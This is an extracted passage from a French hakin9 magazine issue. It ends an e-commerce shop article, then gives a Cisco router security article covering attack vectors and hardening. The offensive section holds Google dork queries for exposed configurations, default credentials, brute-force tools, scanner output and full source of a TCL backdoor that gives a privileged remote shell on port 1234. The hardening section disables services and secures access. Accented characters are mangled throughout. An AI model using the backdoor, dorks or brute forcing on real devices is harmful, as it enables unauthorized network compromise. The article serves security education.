vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

Cette diffeacuterentiation entre les diffeacuterents types de tra-fic est neacutecessaire pour comprendre leffet de ces types de trafic sur la plate-forme Les routeurs ou commu-tateurs Cisco traitent la grande majoriteacute des flux de transport dans des modules hardware deacutedieacutes sauf quelques paquets qui ont besoin de traitement speacutecial comme les paquets avec un TTL (Time To Live) infeacute-rieur ou eacutegal agrave un ou les paquets IP avec options

Une plate-forme Cisco est geacuteneacuteralement composeacutee des eacuteleacutements suivants

bull RAM (Random-Access Memory) utiliseacute pour stoc-ker des informations opeacuterationnelles comme les ta-bles de routage le fichier de configuration en cours dexeacutecution Son contenu est perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull NVRAM (NonVolatile RAM) utiliseacute pour enregis-trer le fichier de configuration de deacutemarrage Son contenu nest pas perdu si la machine est eacuteteinte ou redeacutemarreacutee

bull Flash Contient limage du systegraveme dexploitationbull CPUbull ROM (Read Only Memory) utiliseacute pour enregistrer

le programme de deacutemarrage le systegraveme dexploita-tion et les programmes de test

bull Registres de configuration utiliseacute pour changer le comportement du routeur (deacutemarrer agrave partir du ROM ou NetBoot deacutefinir les options de deacutemarrage deacutefinir la vitesse de la console )

bull Interfaces

La compreacutehension de larchitecture hardware sert agrave deacuteterminer les types de paquets susceptibles de per-mettre une compromission de la machine ou de causer un deacuteni de service il est par exemple possible quune vulneacuterabiliteacute ne cause pas le crash de toute la machi-

Seacutecuriteacute CiSCOCisco propose une varieacuteteacute tregraves importante de produits et plates-formes elle est principalement connue pour ses routeurs et commutateurs tregraves performants Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-forme en cible facile Cisco propose cependant plusieurs meacutecanismes de durcissement Cet article se consacre aux principaux vecteurs dattaques contre ces plates-formes et propose les meacutecanismes les plus communs pour les seacutecuriser

Cet article expliquebull Architecture Hardware et Software des routeurs et commuta-

teurs CISCObull Vecteurs dattaques contre les routeurs et commutateurs CI-

SCObull Meacutecanismes de deacutefense et preacutevention existants sur lIOS CI-

SCO

Ce quil faut savoirbull Connaissance de base en CLI CISCObull Connaissance de base sur le routage et les protocoles mana-

gement (SSH SNMP )

alaeddine Mesbahi

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

